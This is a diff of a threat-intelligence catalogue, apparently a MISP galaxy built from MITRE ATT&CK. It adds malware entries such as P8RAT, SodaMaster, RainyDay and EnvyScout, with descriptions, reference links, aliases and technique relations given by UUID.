"description": "[KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing \"KGH\".(Citation: Cybereason Kimsuky November 2020)",
"meta": {
@@ -38396,6 +43438,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "b9eec47e-98f4-4b3c-b574-3fa8a87ebe05",
@@ -38805,13 +43854,77 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "007ebf84-4e14-44c7-a5aa-151d5de85320",
"value": "CarbonSteal - S0529"
},
{
- "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)",
+ "description": "[P8RAT](https://attack.mitre.org/software/S0626) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)",
+ "meta": {
+ "external_id": "S0626",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0626",
+ "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"
+ ],
+ "synonyms": [
+ "P8RAT",
+ "HEAVYPOT",
+ "GreetCake"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "7c58fff0-d206-4db1-96b1-e3a9e0e320b9",
+ "value": "P8RAT - S0626"
+ },
+ {
+ "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)",
"meta": {
"external_id": "S0266",
"mitre_platforms": [
@@ -38822,6 +43935,7 @@
"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf",
"https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre",
"https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/",
+ "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/",
"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n",
"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/",
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"
@@ -39182,6 +44296,41 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "00806466-754d-44ea-ad6f-0caf59cb8556",
@@ -39415,11 +44564,118 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "b22e5153-ac28-4cc6-865c-2054e36285cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "4b072c90-bc7a-432b-940e-016fc1c01761",
"value": "Keydnap - S0276"
},
+ {
+ "description": "[SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)",
+ "meta": {
+ "external_id": "S0627",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0627",
+ "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"
+ ],
+ "synonyms": [
+ "SodaMaster",
+ "DARKTOWN",
+ "dfls",
+ "DelfsCake"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "94d6d788-07bb-4dcc-b62f-e02626b00108",
+ "value": "SodaMaster - S0627"
+ },
{
"description": "OBAD is an Android malware family. (Citation: TrendMicro-Obad)",
"meta": {
@@ -39455,7 +44711,56 @@
"value": "OBAD - S0286"
},
{
- "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)",
+ "description": "[FYAnti](https://attack.mitre.org/software/S0628) is a loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2020, including to deploy [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Securelist APT10 March 2021)",
+ "meta": {
+ "external_id": "S0628",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0628",
+ "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"
+ ],
+ "synonyms": [
+ "FYAnti",
+ "DILLJUICE stage2"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "434ba392-ebdc-488b-b1ef-518deea65774",
+ "value": "FYAnti - S0628"
+ },
+ {
+ "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018)",
"meta": {
"external_id": "S0268",
"mitre_platforms": [
@@ -39567,6 +44872,34 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "65ffc206-d7c1-45b3-b543-f6b726e7840d",
@@ -39704,6 +45037,201 @@
"uuid": "7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
"value": "QUADAGENT - S0269"
},
+ {
+ "description": "[RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)",
+ "meta": {
+ "external_id": "S0629",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0629",
+ "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf"
+ ],
+ "synonyms": [
+ "RainyDay"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "29231689-5837-4a7a-aafc-1b65b3f50cc7",
+ "value": "RainyDay - S0629"
+ },
{
"description": "FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).",
"meta": {
@@ -41969,7 +47497,7 @@
"value": "PLEAD - S0435"
},
{
- "description": "[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor malware in use since at least April 2020, with infections mainly targeting professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) has been reported to have ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)",
+ "description": "[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)",
"meta": {
"external_id": "S0534",
"mitre_platforms": [
@@ -41979,6 +47507,7 @@
"https://attack.mitre.org/software/S0534",
"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
+ "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/",
"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"
],
"synonyms": [
@@ -42297,7 +47826,7 @@
"type": "uses"
},
{
- "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -42330,6 +47859,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "99fdf3b4-96ef-4ab9-b191-fc683441cad0",
@@ -42789,6 +48325,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "03ea629c-517a-41e3-94f8-c7e5368cf8f4",
@@ -43031,6 +48574,124 @@
"uuid": "76ac7989-c5cc-42e2-93e3-d6c476f01ace",
"value": "TSCookie - S0436"
},
+ {
+ "description": "[EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)",
+ "meta": {
+ "external_id": "S0634",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0634",
+ "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+ ],
+ "synonyms": [
+ "EnvyScout"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d4dc46e3-5ba5-45b9-8204-010867cacfcb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "2f8229dc-da94-41c6-89ba-b5b6c32f6b7d",
+ "value": "EnvyScout - S0634"
+ },
{
"description": "[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)",
"meta": {
@@ -43114,6 +48775,75 @@
"uuid": "288fa242-e894-4c7e-ac86-856deedf5cea",
"value": "OceanSalt - S0346"
},
+ {
+ "description": "[Peppy](https://attack.mitre.org/software/S0643) is a Python-based remote access Trojan, active since at least 2012, with similarities to [Crimson](https://attack.mitre.org/software/S0115).(Citation: Proofpoint Operation Transparent Tribe March 2016)",
+ "meta": {
+ "external_id": "S0643",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0643",
+ "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
+ ],
+ "synonyms": [
+ "Peppy"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "6c2550d5-a01a-4bbb-a004-6ead348ba623",
+ "value": "Peppy - S0643"
+ },
{
"description": "[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)",
"meta": {
@@ -43917,7 +49647,7 @@
"value": "IcedID - S0483"
},
{
- "description": "[Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)",
+ "description": "[Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)",
"meta": {
"external_id": "S0384",
"mitre_platforms": [
@@ -43926,7 +49656,9 @@
"refs": [
"https://attack.mitre.org/software/S0384",
"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation",
- "https://securelist.com/dridex-a-history-of-evolution/78531/"
+ "https://securelist.com/dridex-a-history-of-evolution/78531/",
+ "https://home.treasury.gov/news/press-releases/sm845",
+ "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/"
],
"synonyms": [
"Dridex",
@@ -43975,6 +49707,48 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "f01e2711-4b48-4192-a2e8-5f56c945ca19",
@@ -44522,6 +50296,236 @@
"uuid": "8a59f456-79a0-4151-9f56-9b1a67332af2",
"value": "MoleNet - S0553"
},
+ {
+ "description": "[BoomBox](https://attack.mitre.org/software/S0635) is a downloader responsible for executing next stage components that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)",
+ "meta": {
+ "external_id": "S0635",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0635",
+ "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+ ],
+ "synonyms": [
+ "BoomBox"
+ ]
